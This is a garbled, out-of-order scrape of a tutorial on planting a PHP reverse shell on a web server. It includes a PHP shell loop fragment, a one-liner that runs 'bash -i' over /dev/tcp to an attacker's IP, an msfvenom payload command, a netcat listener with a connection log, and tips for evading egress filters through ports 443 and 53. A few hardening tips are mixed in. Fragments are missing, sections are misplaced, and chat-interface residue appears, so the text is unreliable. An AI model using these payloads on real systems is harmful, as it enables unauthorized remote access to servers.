Common ports include 4444, 1337, 9001, 8080, 443, and 53. Using port 443 (HTTPS) or 53 (DNS) can blend in with legitimate traffic and evade some egress filters.

Check your Netcat listener; a shell session will immediately activate. Post-Exploitation: Upgrading to a TTY Shell

array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) exit(1); // Set streams to non-blocking mode stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); while (1) if (feof($sock)) break; if (feof($pipes[1])) break; $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_streams = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) $input = fread($sock, $chunk_size); fwrite($pipes[0], $input); if (in_array($pipes[1], $read_a)) $input = fread($pipes[1], $chunk_size); fwrite($sock, $input); if (in_array($pipes[2], $read_a)) $input = fread($pipes[2], $chunk_size); fwrite($sock, $input); fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); ?> Use code with caution. Step 3: Deployment and Execution

$shell = "bash -i > /dev/tcp/$ip/$port 2>&1"; $output = shell_exec($shell); ?>

Most modern networks block inbound connections to arbitrary ports. However, outbound connections (e.g., to web servers, email, or DNS) are generally allowed. A reverse shell exploits this asymmetry: the compromised server calls out to your listener, bypassing inbound restrictions.

listening on [any] 4444 ... connect to [192.168.1.100] from (UNKNOWN) [10.10.10.5] 49321

Netcat is the Swiss Army knife of networking. Most Unix-like systems (Linux, macOS) have it preinstalled; Windows users can download nc.exe or use ncat from Nmap.

Now that you’ve mastered the technical steps, go forth and secure the web—one PHP configuration at a time.

The most common tool for receiving reverse shell connections is . On your attack machine (typically Kali Linux), start a listener with:

For Nginx, configure the server block to deny execution within the upload path: location ~* ^/uploads/.*\.php$ deny all; Use code with caution. 3. Implement the Principle of Least Privilege

msfvenom -p php/reverse_php LHOST= LPORT= -o shell.php Use code with caution. Copied to clipboard Phase 2: Setting Up the Listener

Access the file via a web browser:

nc -lvnp 4444

: Many hardened servers disable dangerous PHP functions like exec() , shell_exec() , and system() , which can render standard shells useless.